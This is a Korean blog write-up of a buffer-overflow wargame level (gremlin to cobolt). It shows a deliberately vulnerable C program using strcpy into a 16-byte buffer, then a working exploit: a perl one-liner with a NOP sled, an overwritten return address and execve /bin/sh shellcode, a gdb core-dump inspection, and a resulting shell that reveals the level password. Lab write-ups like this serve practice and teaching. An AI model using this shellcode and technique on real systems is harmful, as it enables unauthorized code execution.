LEVEL2 (gremlin -> cobolt) : small buffer

이번 문제는 작은 버퍼라는데 과연 어떤 문제일지 확인해보자

[gremlin@localhost .izayoi]$ cat cobolt.c

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


이번 문제는 buffer의 크기가 16byte밖에 되지 않는다.
[이번에는 gdb로 따로 buffer의 크기를 확인하지는 않겠다.]

여러가지 방법이 있겠지만 그냥 무난하게 진행해보려고 한다.
[stack] [sfp] [ret]                                                                     [argc] [argv] [env]
^"\x90"x20    "아직은 모름. ret address의 다음 주소부분"(4byte)       "\x90"x52 + shellcode(24byte)
이런식으로 수행해보려고 한다.

[gremlin@localhost .izayoi]$ ./cobolt `perl -e 'print "\x90"x20,"\xbf\xbf\xbf\xbf","\x90"x52,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
¿¿¿¿1ÀPh//shh/bin‰ãPS‰á™°
                         Í€
Segmentation fault (core dumped)
[gremlin@localhost .izayoi]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./cobolt ¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaf0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbffffb00:     0x50e3896e      0x99e18953      0x80cd0bb0      0x00000000
...


ret에 \xbf\xbf\xbf\xbf라는 이상한 곳을 참조시켜 세그먼테이션 폴트를 일으킨 뒤에
파일을 덤프떠서 현재 상태를 저장하고 봤는데 \x90이 계속 실행되다가 0xbffffafc주소에서부터 쉘코드가 삽입된 것을 확인할 수 있다.
그렇기에 그 전의 주소 (ex)0xbffffad0정도를 집어넣게 되면 nop썰매를 타고 가다가 쉘코드를 실행시킬것이다.

 [gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "\x90"x20,"\xd0\xfa\xff\xbf","\x90"x52,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Ðúÿ¿1ÀPh//shh/bin‰ãPS‰á™°
                         Í€
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed

shell이 떨어진 것을 확인할수 있다.

하지만 이 방법은 조금 불완전한게 0xbffffae0의 주소값을 집어넣게 되면 세그멘테이션 오류가 뜨게 된다.
복사한 파일이라 그런건가... 아직 이유를 잘 모르겠다.


이전 문제와 같이 환경변수를 이용한 공격을 시도하게 된다면 잘 될 것이다.
하지만 똑같은 실험을 하기 싫어 이런 방식으로 했으니 level1과 동일하게 하실분은 연습삼아 해도 같은 결과를 보일 것이다.
Posted by john@memory :